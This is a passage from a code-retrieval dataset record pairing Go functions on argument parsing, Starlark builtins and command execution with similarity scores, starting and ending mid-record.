am[argName]\n\t\t\tif !exists {\n\t\t\t\treturn nil, fmt.Errorf(\"named argument does not exist: '%s'\", argName)\n\t\t\t}\n\t\t\tif !(c.Type == \"\" || c.Type == \"named\") {\n\t\t\t\treturn nil, fmt.Errorf(\"value provided for non-named argument %s: '%s'\", argName, cliArg)\n\t\t\t}\n\t\t\targRes[argName] = &argValue\n\t\t\tcontinue\n\t\t}\n\n\t\t// Positional arguments\n\t\tif len(posSl) > passedPosArg {\n\t\t\ta := posSl[passedPosArg]\n\t\t\targRes[a.Name] = &cliArgs[i]\n\t\t\tpassedPosArg++\n\t\t} else {\n\t\t\treturn nil, fmt.Errorf(\"too many positional arguments given: '%s'\", cliArg)\n\t\t}\n\t}\n\n\tfor i := range argConfs {\n\t\targName := argConfs[i].Name\n\t\tif _, exists := argRes[argName]; !exists {\n\t\t\tif argConfs[i].FromEnvVar != nil {\n\t\t\t\tvalue, isSet := os.LookupEnv(argName)\n\t\t\t\tif isSet {\n\t\t\t\t\targRes[argName] = &value\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\tif argConfs[i].Default != nil {\n\t\t\t\targRes[argName] = argConfs[i].Default\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif argConfs[i].Type == \"bool\" {\n\t\t\t\tfalseVal := \"0\"\n\t\t\t\targRes[argName] = &falseVal\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif argConfs[i].Type == \"pos\" {\n\t\t\t\treturn nil, fmt.Errorf(\"value for positional argument missing: '%s'\", argName)\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"value for argument missing: not given via parameter, environment variable or default value: '%s'\", argName)\n\t\t}\n\t}\n\tlogrus.Trace(\"parsed args\", argRes)\n\n\treturn argRes, nil\n}", "func genericArg(short, long, usage, field string) (Arg, error) {\n\tvar retval Arg\n\tretval.ShortName = short\n\tretval.LongName = long\n\tretval.Description = usage\n\tretval.FieldName = field\n\n\tif retval.ShortName == \"\" && retval.LongName == \"\" {\n\t\treturn retval, fmt.Errorf(\"invalid argument: an argument must have at least one name\")\n\t}\n\treturn retval, nil\n}", "func NewPositionVarArg(star *Token, value Expression) *Argument {\n\targ := &Argument{\n\t\tNode: star.Node,\n\t\tValue: value,\n\t\tPositionVarArg: true,\n\t}\n\n\targ.MergeFrom(value.NodeInfo())\n\treturn arg\n}", "func (e PackageExpr) Arg() rel.Expr {\n\treturn e.a\n}", "func ArgInt(s, p string) int {\n\tre := regexp.MustCompile(p)\n\tx := re.FindAllString(s, -1)\n\tnumRE := regexp.MustCompile(\"[0-9]+\")\n\tif len(x) == 0 {\n\t\treturn 0\n\t}\n\tnumbs := numRE.FindString(x[0])\n\tres, err := strconv.Atoi(numbs)\n\tif err != nil {\n\t\treturn 666\n\t}\n\treturn res\n}", "func (n *CommandNode) AddArg(a Expr) {\n\tn.args = append(n.args, a)\n}", "func Float64Arg(register Register, name string, options ...ArgOptionApplyer) *float64 {\n\tp := new(float64)\n\t_ = Float64ArgVar(register, p, name, options...)\n\treturn p\n}", "func Int8Arg(register Register, name string, options ...ArgOptionApplyer) *int8 {\n\tp := new(int8)\n\t_ = Int8ArgVar(register, p, name, options...)\n\treturn p\n}", "func (c *context) SetArg(name string, value interface{}) {\n\tc.SetParam(name, value)\n}", "func Int64Arg(register Register, name string, options ...ArgOptionApplyer) *int64 {\n\tp := new(int64)\n\t_ = Int64ArgVar(register, p, name, options...)\n\treturn p\n}", "func (n *RforkNode) Arg() *StringExpr {\n\treturn n.arg\n}", "func (o Args) Arg(n int) Object {\n\tif n < 0 || o.Len() <= n {\n\t\treturn NIL\n\t}\n\treturn o[n]\n}", "func NewDetectorFromArg(arg string) (*OfflineAgentDetector, error) {\n\tif arg == \"\" {\n\t\treturn nil, fmt.Errorf(\"No arg specified\")\n\t}\n\n\tparts := strings.Split(arg, \",\")\n\tswitch len(parts) {\n\tcase 1:\n\t\treturn NewDetector(parts[0], \"\", \"\"), nil\n\tcase 3:\n\t\treturn NewDetector(parts[0], parts[1], parts[2]), nil\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"The format of the config string was not recognized: %s\", arg)\n\t}\n}", "func (d *iae) Arg(check bool, argument uint, value interface{}, condition string) IAE {\n\tif check {\n\t\treturn d\n\t}\n\tif d.err != nil {\n\t\treturn d\n\t}\n\n\td.err = d.process(check, argument, value, condition)\n\treturn d\n}", "func (c *context) ArgInt(name string) int {\n\treturn c.ParamInt(name)\n}", "func (fgen *funcGen) astToIRInstExtractValue(inst ir.Instruction, old *ast.ExtractValueInst) (*ir.InstExtractValue, error) {\n\ti, ok := inst.(*ir.InstExtractValue)\n\tif !ok {\n\t\t// NOTE: panic since this would indicate a bug in the implementation.\n\t\tpanic(fmt.Errorf(\"invalid IR instruction for AST instruction; expected *ir.InstExtractValue, got %T\", inst))\n\t}\n\t// TODO: implement\n\treturn i, nil\n}", "func (d *ModeDiff) setArg(mode rune, arg string) {\n\td.pos.setArg(mode, arg)\n\td.neg.unsetArg(mode, arg)\n}", "func starlarkTarget(\n\targs starlark.Tuple,\n\tkwargs []starlark.Tuple,\n) (starlark.Value, error) {\n\t// For the sake of simpler parsing, we'll simply require that all args are\n\t// passed as kwargs (no positional args).\n\tif len(args) != 0 {\n\t\treturn nil, errors.Errorf(\n\t\t\t\"Expected 0 positional args; found %d\",\n\t\t\tlen(args),\n\t\t)\n\t}\n\n\t// Make sure we have exactly the right number of keyword arguments.\n\tif len(kwargs) != 4 {\n\t\tfound := make([]string, len(kwargs))\n\t\tfor i, kwarg := range kwargs {\n\t\t\tfound[i] = string(kwarg[0].(starlark.String))\n\t\t}\n\t\treturn nil, errors.Errorf(\n\t\t\t\"Expected kwargs {name, builder, args, env}; found {%s}\",\n\t\t\tstrings.Join(found, \", \"),\n\t\t)\n\t}\n\n\t// Iterate through the keyword arguments and grab the values for each\n\t// kwarg, putting them into the right `starlark.Value` variable. We'll\n\t// convert these to Go values for the `*Target` struct later.\n\tvar nameKwarg, builderKwarg, argsKwarg, envKwarg starlark.Value\n\tfor _, kwarg := range kwargs {\n\t\tswitch key := kwarg[0].(starlark.String); key {\n\t\tcase \"name\":\n\t\t\tif nameKwarg != nil {\n\t\t\t\treturn nil, errors.Errorf(\"Duplicate argument 'name' found\")\n\t\t\t}\n\t\t\tnameKwarg = kwarg[1]\n\t\tcase \"builder\":\n\t\t\tif builderKwarg != nil {\n\t\t\t\treturn nil, errors.Errorf(\"Duplicate argument 'builder' found\")\n\t\t\t}\n\t\t\tbuilderKwarg = kwarg[1]\n\t\tcase \"args\":\n\t\t\tif argsKwarg != nil {\n\t\t\t\treturn nil, errors.Errorf(\"Duplicate argument 'args' found\")\n\t\t\t}\n\t\t\targsKwarg = kwarg[1]\n\t\tcase \"env\":\n\t\t\tif envKwarg != nil {\n\t\t\t\treturn nil, errors.Errorf(\"Duplicate argument 'env' found\")\n\t\t\t}\n\t\t\tenvKwarg = kwarg[1]\n\t\tdefault:\n\t\t\treturn nil, errors.Errorf(\"Unexpected argument '%s' found\", key)\n\t\t}\n\t}\n\n\t// Ok, now we've made sure we have values for the required keyword args and\n\t// that no additional arguments were passed. Next, we'll convert these\n\t// `starlark.Value`-typed variables into Go values for the output `*Target`\n\t// struct.\n\n\t// Validate that the `name` kwarg was a string.\n\tname, ok := nameKwarg.(starlark.String)\n\tif !ok {\n\t\treturn nil, errors.Errorf(\n\t\t\t\"TypeError: argument 'name': expected str, got %s\",\n\t\t\tnameKwarg.Type(),\n\t\t)\n\t}\n\n\t// Validate that the `builder` kwarg was a string.\n\tbuilder, ok := builderKwarg.(starlark.String)\n\tif !ok {\n\t\treturn nil, errors.Errorf(\n\t\t\t\"TypeError: argument 'builder': expected str, got %s\",\n\t\t\tbuilderKwarg.Type(),\n\t\t)\n\t}\n\n\t// Validate that the `args` kwarg was a list of `Arg`s, and convert it\n\t// into a `[]Arg` for the `Target.Args` field.\n\targsSL, ok := argsKwarg.(*starlark.List)\n\tif !ok {\n\t\treturn nil, errors.Errorf(\n\t\t\t\"TypeError: argument 'args': expected list, got %s\",\n\t\t\targsKwarg.Type(),\n\t\t)\n\t}\n\targs_ := make([]Arg, argsSL.Len())\n\tfor i := range args_ {\n\t\targ, err := starlarkValueToArg(argsSL.Index(i))\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"Argument 'args[%d]'\", i)\n\t\t}\n\t\targs_[i] = arg\n\t}\n\n\t// Validate that the `env` kwarg was a list of strings, and convert it into\n\t// a `[]string` for the `Target.Env` field.\n\tenvSL, ok := envKwarg.(*starlark.List)\n\tif !ok {\n\t\treturn nil, errors.Errorf(\n\t\t\t\"TypeError: argument 'env': expected list, got %s\",\n\t\t\tenvKwarg.Type(),\n\t\t)\n\t}\n\tenv := make([]string, envSL.Len())\n\tfor i := range env {\n\t\tstr, ok := envSL.Index(i).(starlark.String)\n\t\tif !ok {\n\t\t\treturn nil, errors.Errorf(\n\t\t\t\t\"TypeError: argument 'env[%d]': expected string; found %s\",\n\t\t\t\ti,\n\t\t\t\tenvSL.Index(i).Type(),\n\t\t\t)\n\t\t}\n\t\tenv[i] = string(str)\n\t}\n\n\t// By now, all of the fields have been validated, so build and return the\n\t// final `*Target`.\n\treturn &Target{\n\t\tName: string(name),\n\t\tBuilder: string(builder),\n\t\tArgs: args_,\n\t\tEnv: env,\n\t}, nil\n}", "func (n *StaticCallExpr) Arg(i int) *Argument { return n.Args[i].(*Argument) }", "func (f *FlagSet) Arg(i int) string {\n\tif i < 0 || i >= len(f.args) {\n\t\treturn \"\"\n\t}\n\treturn f.args[i]\n}", "func EscapeArg(arg string) string {\n\t// TODO support WIN32 and skipping non-valid multibyte characters\n\treturn \"'\" + strings.Replace(arg, \"'\", `'\\''`, -1) + \"'\"\n}", "func ReadableEscapeArg(arg string) string {\n\tif readableRe.MatchString(arg) {\n\t\treturn arg\n\t}\n\treturn EscapeArg(arg)\n}", "func ParseTimeArg(arg string) (time.Time, error) {\n\tdateFmts := []string{\n\t\t\"2006-01-02 3:04:05 PM MST\",\n\t\t\"01-02 3:04:05 PM MST\",\n\t\t\"2006-01-02 3:04 PM MST\",\n\t\t\"01-02 3:04 PM MST\",\n\t\ttime.Kitchen,\n\t\t\"2006-01-02\",\n\t}\n\tvar res time.Time\n\tfor _, dateFmt := range dateFmts {\n\t\t// Special update for kitchen time format to include year, month,\n\t\t// and day.\n\t\tif dateFmt == time.Kitchen {\n\t\t\tloc, _ := time.LoadLocation(\"Local\")\n\t\t\tt, err := time.ParseInLocation(dateFmt, arg, loc)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tres = t\n\t\t\tn := time.Now()\n\t\t\t// Month and day default values are already 1!\n\t\t\tres = res.AddDate(n.Year(), int(n.Month())-1, n.Day()-1)\n\t\t\tbreak\n\t\t} else {\n\t\t\tt, err := time.Parse(dateFmt, arg)\n\t\t\tif err == nil {\n\t\t\t\tres = t\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\tif res.IsZero() {\n\t\tmsg := fmt.Sprintf(\"Unable to parse %s using formats %v\", arg, dateFmts)\n\t\treturn res, errors.New(msg)\n\t}\n\tif res.Year() == 0 {\n\t\tres = res.AddDate(time.Now().In(res.Location()).Year(), 0, 0)\n\t}\n\treturn res.UTC(), nil\n}", "func (p Path) ArgString() (v string) {\n\tvar i int\n\tfor _, e := range p {\n\t\tif e.Type != \"variable\" {\n\t\t\tcontinue\n\t\t}\n\t\tif i > 0 {\n\t\t\tv += \", \"\n\t\t}\n\t\tv += fmt.Sprintf(\"v%d\", e.VarPos)\n\t\ti++\n\t}\n\treturn\n}", "func ParseFlags(envVar string, parsedVal *string) {\n\tInstanceArgs[envVar] = parsedVal\n}", "func starlarkPath(\n\targs starlark.Tuple,\n\tkwargs []starlark.Tuple,\n) (starlark.Value, error) {\n\tif len(args) != 1 {\n\t\treturn nil, errors.Errorf(\n\t\t\t\"Expected exactly 1 positional argument; found %d\",\n\t\t\tlen(args),\n\t\t)\n\t}\n\n\tif len(kwargs) != 0 {\n\t\treturn nil, errors.Errorf(\n\t\t\t\"Expected exactly 0 positional arguments; found %d\",\n\t\t\tlen(kwargs),\n\t\t)\n\t}\n\n\tif s, ok := args[0].(starlark.String); ok {\n\t\treturn Path(s), nil\n\t}\n\n\treturn nil, errors.Errorf(\n\t\t\"TypeError: Expected a string argument; found %s\",\n\t\targs[0].Type(),\n\t)\n}", "func (nm *NodeMonitor) GetArg() string {\n\tnm.mutex.RLock()\n\targ := nm.arg\n\tnm.mutex.RUnlock()\n\treturn arg\n}", "func ArgString(s, p string) string {\n\tre := regexp.MustCompile(p)\n\tmatch := re.FindAllString(s, -1)\n\tif len(match) > 0 {\n\t\tres := match[0]\n\t\treturn strings.Trim(res, \" \")\n\t}\n\treturn \"\"\n}", "func DurationArg(register Register, name string, options ...ArgOptionApplyer) *time.Duration {\n\tp := new(time.Duration)\n\t_ = DurationArgVar(register, p, name, options...)\n\treturn p\n}", "func (t Type) Arg(name string) (arg int, found bool) {\n\tfor idx, v := range schemas[t%EvCount].Args {\n\t\tif v == name {\n\t\t\treturn idx, true\n\t\t}\n\t}\n\treturn\n}", "func (c *Config) SetArg(in map[string]string, replacer *strings.Replacer) {\r\n\tc.mu.Lock()\r\n\tdefer c.mu.Unlock()\r\n\r\n\tout := make(map[string]interface{})\r\n\tfor k, v := range in {\r\n\t\tk = strings.ToUpper(k)\r\n\t\tif replacer != nil {\r\n\t\t\tk = replacer.Replace(k)\r\n\t\t}\r\n\t\tout[k] = v\r\n\t}\r\n\tc.arg = out\r\n}", "func parseArg(url string) (string, string) {\n\tif strings.Contains(url, \"spotify.com\") {\n\t\turl = strings.ReplaceAll(url, \"\\\\\", \"/\")\n\t\turl = strings.TrimSuffix(url, \"/\")\n\t\tlist := strings.Split(url, \"/\")\n\t\tid := list[len(list)-1]\n\t\tid = strings.Split(id, \"?\")[0]\n\t\tif strings.Contains(url, \"track\") {\n\t\t\treturn \"track\", id\n\t\t} else if strings.Contains(url, \"album\") {\n\t\t\treturn \"album\", id\n\t\t} else if strings.Contains(url, \"playlist\") {\n\t\t\treturn \"playlist\", id\n\t\t}\n\t}\n\treturn \"query\", url\n}", "func (s *BaseSyslParserListener) ExitFunc_arg(ctx *Func_argContext) {}", "func (a *Arguments) PutArgument(expr Expression) {\n\ta.exprs = append(a.exprs, expr)\n}", "func parseArg(arg string) []string {\n\t// res is the assembled result\n\tvar res []string\n\t// sb is assembling the current argument\n\tsb := strings.Builder{}\n\t// isEscaped is true if the previous character was a backslash\n\tisEscaped := false\n\t// isQuoted is true if the current string is contained in double quotes\n\tisQuoted := false\n\t// iterate over each individual rune\n\tfor _, x := range arg {\n\t\tif isEscaped {\n\t\t\t// last character was a backslash\n\t\t\tisEscaped = false\n\t\t\tif x == '\"' {\n\t\t\t\tsb.WriteRune(x)\n\t\t\t\tcontinue\n\t\t\t} else if x == '\\\\' {\n\t\t\t\tsb.WriteRune(x)\n\t\t\t\tcontinue\n\t\t\t} else {\n\t\t\t\t// not a backslash, output the previously omitted backslash\n\t\t\t\tsb.WriteRune('\\\\')\n\t\t\t}\n\t\t}\n\t\tif x == '\\\\' {\n\t\t\t// indicate backslash and check upcoming rune to decide on proceeding\n\t\t\tisEscaped = true\n\t\t\tcontinue\n\t\t}\n\t\tif x == '\"' {\n\t\t\tif isQuoted {\n\t\t\t\t// quoted string is closed\n\t\t\t\tisQuoted = false\n\t\t\t\tif sb.Len() > 0 {\n\t\t\t\t\tres = append(res, sb.String())\n\t\t\t\t\tsb.Reset()\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// start quoted string\n\t\t\t\tisQuoted = true\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tif x == ' ' && !isQuoted {\n\t\t\t// space indentified as separator (not part of a quoted string)\n\t\t\tif sb.Len() > 0 {\n\t\t\t\tres = append(res, sb.String())\n\t\t\t\tsb.Reset()\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\t// other character, just append\n\t\tsb.WriteRune(x)\n\t}\n\tif sb.Len() > 0 {\n\t\tres = append(res, sb.String())\n\t}\n\treturn res\n}", "func pySafeArg(anm string, idx int) string {\n\tif anm == \"\" {\n\t\tanm = fmt.Sprintf(\"arg_%d\", idx)\n\t}\n\treturn pySafeName(anm)\n}", "func appendToFlag(arg, val string) string {\n\tif !strings.ContainsRune(arg, '=') {\n\t\targ = arg + \"=\"\n\t}\n\tif arg[len(arg)-1] != '=' && arg[len(arg)-1] != ' ' {\n\t\targ += \" \"\n\t}\n\targ += val\n\treturn arg\n}", "func WithArg(ctx context.Context, k string, v interface{}) context.Context {\n\treturn WithArgs(ctx, Args{k: v})\n}", "func normalizeArg(args []string, arg string) []string {\n\tidx := -1\n\tfor i, v := range args {\n\t\tif v == arg {\n\t\t\tidx = i\n\t\t\tbreak\n\t\t}\n\t}\n\tif idx == -1 || idx == len(args)-1 { // not found OR -arg has no succeding element\n\t\treturn args\n\t}\n\tnewArg := fmt.Sprintf(\"%s=%s\", args[idx], args[idx+1]) // merge values\n\targs[idx] = newArg // modify the arg\n\treturn append(args[:idx+1], args[idx+2:]...)\n}", "func (a *Arg) MatchShift(args []string) ([]string, interface{}, error) {\n\tif a.Match(args[0]) {\n\t\tshaved := args[1:] // shave off the first string\n\n\t\tif a.GetValue != nil {\n\t\t\t// we expect a value\n\t\t\tif len(shaved) > 0 {\n\t\t\t\tif val, err := a.GetValue(shaved[0]); err == nil {\n\t\t\t\t\treturn shaved[1:], val, nil\n\t\t\t\t} else {\n\t\t\t\t\treturn args, nil, err\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\treturn args, nil, fmt.Errorf(\"no value given for option %s\", a.ShortName)\n\t\t\t}\n\t\t} else {\n\t\t\t// this is just a flag\n\t\t\treturn shaved, nil, nil\n\t\t}\n\t}\n\treturn args, nil, fmt.Errorf(\"option %s not recognized\", args[0])\n}", "func getArg(c *cli.Context, idx int, prompt string) (string, error) {\n\targ := c.Args().Get(0)\n\tif arg != \"\" {\n\t\treturn arg, nil\n\t}\n\tfmt.Printf(\"%s: \", prompt)\n\treader := bufio.NewReader(os.Stdin)\n\targ, err := reader.ReadString('\\n')\n\tif err != nil {\n\t\treturn arg, err\n\t}\n\targ = strings.TrimSpace(arg)\n\treturn arg, nil\n}", "func argsToParams(args []string) map[string]string {\n\tif len(args) == 0 {\n\t\treturn nil\n\t}\n\tparams := make(map[string]string)\n\tfor _, a := range args {\n\t\tif !strings.Contains(a, \"=\") {\n\t\t\tcontinue\n\t\t}\n\t\tparts := strings.Split(a, \"=\")\n\t\t// Ignore any arguments that do not look like parameters\n\t\tif len(parts) != 2 {\n\t\t\tcontinue\n\t\t}\n\t\tparams[parts[0]] = parts[1]\n\t}\n\treturn params\n}", "func parseReflectedValue(a interface{}) string {\n\n\tif a != nil && reflect.TypeOf(a).Kind() != reflect.String {\n\t\terrors.New(\"Argument is not a string.\")\n\t}\n\n\treturn reflect.ValueOf(a).String()\n}", "func ArgInt(option *Option) error {\n if option.HasArg {\n i, err := strconv.Atoi(option.Arg)\n if err == nil {\n option.Value = i\n return ARG_OK\n }\n }\n return fmt.Errorf(\"Option '%v' requires an integer as argument\", option)\n}" ]
[ "0.67139906", "0.59568244", "0.5797127", "0.56927204", "0.54258233", "0.539884", "0.5369455", "0.5281497", "0.52350473", "0.5182523", "0.51327753", "0.51287955", "0.51077867", "0.5093113", "0.5079938", "0.50655216", "0.50646305", "0.5059002", "0.5046095", "0.5002434", "0.49755144", "0.49672872", "0.49338514", "0.49184397", "0.48888958", "0.48721728", "0.48372218", "0.481924", "0.47958988", "0.4791045", "0.47841498", "0.4781249", "0.4779297", "0.47684318", "0.47670043", "0.47601163", "0.4725274", "0.46978402", "0.46842876", "0.46754906", "0.46728867", "0.46664304", "0.4666422", "0.4641799", "0.46412918", "0.46409416", "0.46191904", "0.46138716", "0.45941603", "0.45873442", "0.4585297", "0.45784432", "0.45761824", "0.45736125", "0.45682454", "0.45682207", "0.45594954", "0.4552381", "0.45522782", "0.45516387", "0.45386347", "0.44936237", "0.4490077", "0.4475364", "0.4458749", "0.44587255", "0.44545767", "0.44439054", "0.4429225", "0.44220147", "0.44202563", "0.44114295", "0.44031984", "0.4393372", "0.43834564", "0.43789986", "0.43650347", "0.43514547", "0.4341475", "0.43385577", "0.43374974", "0.43251702", "0.43195474", "0.4319345", "0.43145245", "0.43086156", "0.43044528", "0.4299586", "0.42881057", "0.42851734", "0.4282346", "0.42821217", "0.4270171", "0.42461258", "0.42454705", "0.42443377", "0.42412782", "0.42277795", "0.42272604", "0.42212892" ]
0.88156927
0
execFile builtinWrapper DRYs up the error handling boilerplate for a starlark builtin function.
func builtinWrapper( name string, f func(starlark.Tuple, []starlark.Tuple) (starlark.Value, error), ) *starlark.Builtin { return starlark.NewBuiltin( name, func( _ *starlark.Thread, builtin *starlark.Builtin, args starlark.Tuple, kwargs []starlark.Tuple, ) (starlark.Value, error) { v, err := f(args, kwargs) if err != nil { return nil, errors.Wrapf(err, "%s()", builtin.Name()) } return v, nil }, ) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func ExecWrapper(f func(ctx *cli.Context) (int, error)) func(*cli.Context) error {\n\treturn func(ctx *cli.Context) error {\n\t\treturn exit(f(ctx))\n\t}\n}", "func runWrapper(cf func(cCmd *cobra.Command, args []string) (exit int)) func(cCmd *cobra.Command, args []string) {\n\treturn func(cCmd *cobra.Command, args []string) {\n\t\tcAPI = getClientAPI(cCmd)\n\t\tcmdExitCode = cf(cCmd, args)\n\t}\n}", "func ExecBuiltin(args []string) {\n\tif len(args) <= 0 {\n\t\tPanic(\"No parameters\")\n\t}\n\n\t//TODO: Loadings\n\tswitch args[0] {\n\tcase \"Error\":\n\t\tError(strings.Join(args[1:], \" \"))\n\tcase \"Warn\":\n\t\tWarn(strings.Join(args[1:], \" \"))\n\tcase \"Info\":\n\t\tInfo(strings.Join(args[1:], \" \"))\n\tcase \"Made\":\n\t\tMade(strings.Join(args[1:], \" \"))\n\tcase \"Ask\":\n\t\tif noColor {\n\t\t\tfmt.Print(\"[?] \")\n\t\t} else {\n\t\t\tfmt.Print(\"\\033[38;5;99;01m[?]\\033[00m \")\n\t\t}\n\t\tfmt.Println(strings.Join(args[1:], \" \"))\n\tcase \"AskYN\":\n\t\tif AskYN(strings.Join(args[1:], \" \")) {\n\t\t\tos.Exit(0)\n\t\t}\n\t\tos.Exit(1)\n\tcase \"Read\":\n\t\treader := bufio.NewReader(os.Stdin)\n\t\ttext, _ := reader.ReadString('\\n')\n\t\tfmt.Print(text)\n\tcase \"ReadSecure\":\n\t\tfmt.Print(ReadSecure())\n\tcase \"AskList\":\n\t\tvalues := \"\"\n\t\tdflt := -1\n\n\t\tif len(args) >= 3 {\n\t\t\tvalues = args[2]\n\t\t\tif len(args) >= 4 {\n\t\t\t\tif i, err := strconv.Atoi(args[3]); err == nil {\n\t\t\t\t\tdflt = i\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tos.Exit(AskList(strings.Split(values, \",\"), dflt, args[1]))\n\tcase \"Bell\":\n\t\tBell()\n\t}\n\tos.Exit(0)\n}", "func (p *Qlang) SafeExec(code []byte, fname string) (err error) {\n\n\tdefer func() {\n\t\tif e := recover(); e != nil {\n\t\t\tswitch v := e.(type) {\n\t\t\tcase string:\n\t\t\t\terr = errors.New(v)\n\t\t\tcase error:\n\t\t\t\terr = v\n\t\t\tdefault:\n\t\t\t\tpanic(e)\n\t\t\t}\n\t\t}\n\t}()\n\n\terr = p.Exec(code, fname)\n\treturn\n}", "func WrapExec(cmd string, args []String, nArg uint32) (status syscall.Status){\n\n\n\tpath := \"/programs/\"+cmd\n\n\tif nArg == 0 {\n\n\t\tstatus = altEthos.Exec(path)\n\n\t} else if nArg == 1 {\n\n\t\tstatus = altEthos.Exec(path, &args[0])\n\n\t} else if nArg == 2 {\n\n\t\tstatus = altEthos.Exec(path, &args[0], &args[1])\n\n\t} else if nArg == 3 {\n\n\t\tstatus = altEthos.Exec(path, &args[0], &args[1], &args[2])\n\n\t} else if nArg == 4 {\n\n\t\tstatus = altEthos.Exec(path, &args[0], &args[1], &args[2], &args[3])\n\n\t}\n\n\treturn\n\n}", "func (l *Logger) safeExec(f func()) {\n\tif l.canSafeExec() {\n\t\tf()\n\t}\n}", "func Executable() (string, error)", "func execUnwrap(_ int, p *gop.Context) {\n\targs := p.GetArgs(1)\n\tret := errors.Unwrap(args[0].(error))\n\tp.Ret(1, ret)\n}", "func Filelessxec(cfg *config.Config) {\n\t//Unstealth mode\n\tbinary := \"dummy\"\n\n\tbinary += \".exe\"\n\n\t//write binary file locally\n\terr := WriteBinaryFile(binary, cfg.BinaryContent)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\t//execute it\n\terr = UnstealthyExec(binary, cfg.ArgsExec, cfg.Environ)\n\tfmt.Println(err)\n\n}", "func (ctx *Context) errorf(fset *token.FileSet, pos token.Pos, format string, args ...interface{}) {\n\tif ctx.cwd == \"\" {\n\t\tctx.cwd, _ = os.Getwd()\n\t}\n\tp := fset.Position(pos)\n\tf, err := filepath.Rel(ctx.cwd, p.Filename)\n\tif err == nil {\n\t\tp.Filename = f\n\t}\n\tfmt.Fprintf(os.Stderr, p.String()+\": \"+format+\"\\n\", args...)\n\texitCode = 2\n}", "func TestFiletraceExec(t *testing.T) {\n\tioutil.WriteFile(\"tester.c\",\n\t\t[]byte(\"#include <stdio.h>\\nint main(void)\\n{\\n\\tFILE *fd = fopen(\\\"t\\\", \\\"w\\\");\\nfprintf(fd, \\\"test\\\");\\nreturn 0;\\n}\\n\"),\n\t\t0777)\n\tfiletraceTest(t,\n\t\t\"gcc -o tester tester.c\",\n\t\t\"\",\n\t\tmap[string]bool{\"tester.c\": true, \"tester\": true},\n\t\tmap[string]bool{\"tester\": true})\n\tfiletraceTest(t,\n\t\t\"./tester\",\n\t\t\"\",\n\t\tmap[string]bool{\"tester\": true},\n\t\tmap[string]bool{\"t\": true})\n\tdefer func() {\n\t\tfor _, f := range []string{`tester.c`, `tester`, `t`} {\n\t\t\tif err := os.Remove(f); err != nil {\n\t\t\t\tt.Error(err)\n\t\t\t}\n\t\t}\n\t}()\n}", "func sysExec(args ...OBJ) OBJ {\n\tif len(args) < 1 {\n\t\treturn NewError(\"`sys.exec` wanted string, got invalid argument\")\n\t}\n\n\tvar command string\n\tswitch c := args[0].(type) {\n\tcase *object.String:\n\t\tcommand = c.Value\n\tdefault:\n\t\treturn NewError(\"`sys.exec` wanted string, got invalid argument\")\n\t}\n\n\tif len(command) < 1 {\n\t\treturn NewError(\"`sys.exec` expected string, got invalid argument\")\n\t}\n\t// split the command\n\ttoExec := splitCommand(command)\n\tcmd := exec.Command(toExec[0], toExec[1:]...)\n\n\t// get the result\n\tvar outb, errb bytes.Buffer\n\tcmd.Stdout = &outb\n\tcmd.Stderr = &errb\n\terr := cmd.Run()\n\n\t// If the command exits with a non-zero exit-code it\n\t// is regarded as a failure. Here we test for ExitError\n\t// to regard that as a non-failure.\n\tif err != nil && err != err.(*exec.ExitError) {\n\t\tfmt.Printf(\"Failed to run '%s' -> %s\\n\", command, err.Error())\n\t\treturn &object.Error{Message: \"Failed to run command!\"}\n\t}\n\n\t// The result-objects to store in our hash.\n\tstdout := &object.String{Value: outb.String()}\n\tstderr := &object.String{Value: errb.String()}\n\n\treturn NewHash(StringObjectMap{\n\t\t\"stdout\": stdout,\n\t\t\"stderr\": stderr,\n\t})\n}", "func (self *Build) exec(moduleLabel core.Label, fileType core.FileType) error {\n\tthread := createThread(self, moduleLabel, fileType)\n\n\tsourceData, err := self.sourceFileReader(moduleLabel)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to execute %v: read failed: %v\", moduleLabel, err)\n\t}\n\n\t_, err = starlark.ExecFile(thread, moduleLabel.String(), sourceData,\n\t\tbuiltins.InitialGlobals(fileType))\n\treturn err\n}", "func handleFuncWithScriptFileName(scriptFileName string, logErrorsToStderr bool, minioFlags minioDetails) func(s http.ResponseWriter, req *http.Request) {\n\treturn func(res http.ResponseWriter, req *http.Request) {\n\t\t//logg request - start\n\t\tt1 := time.Now()\n\t\tif req.Method == \"POST\" {\n\t\t\tensureRequestHandlingScriptExists(scriptFileName)\n\n\t\t\tvar mapRequest MapRequestBody\n\t\t\terr := json.NewDecoder(req.Body).Decode(&mapRequest)\n\t\t\t// r, err := json.Unmarshal(body, &mapRequest)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"whoops:\", err)\n\t\t\t}\n\n\t\t\t// req.ParseForm()\n\n\t\t\t// Try to convert to JSON. This shouldn't fail\n\t\t\trequestJSON, err := json.Marshal(mapRequest)\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatal(err)\n\t\t\t}\n\t\t\tcmdArgs := []string{\"--north\", mapRequest.NorthBound, \"--west\", mapRequest.WestBound, \"--south\", mapRequest.SouthBound, \"--east\", mapRequest.EastBound, \"--output\", mapRequest.MapName, \"--style\", mapRequest.MapStyle, \"--token\", mapRequest.MapboxAccessToken, \"--minZoom\", mapRequest.MinZoom, \"--maxZoom\", mapRequest.MaxZoom, \"--pixelRatio\", mapRequest.PixelRatio}\n\t\t\tlog.Println(\"Arguments String\")\n\t\t\tfmt.Printf(\"%v\", cmdArgs)\n\t\t\tlog.Println(\"Executing \" + scriptFileName)\n\t\t\tvar stdoutBuf, stderrBuf bytes.Buffer\n\t\t\t//Execute Command\n\t\t\tcmd := exec.Command(scriptFileName, cmdArgs...)\n\t\t\t//Pipe Progress From Execution to StdErr and 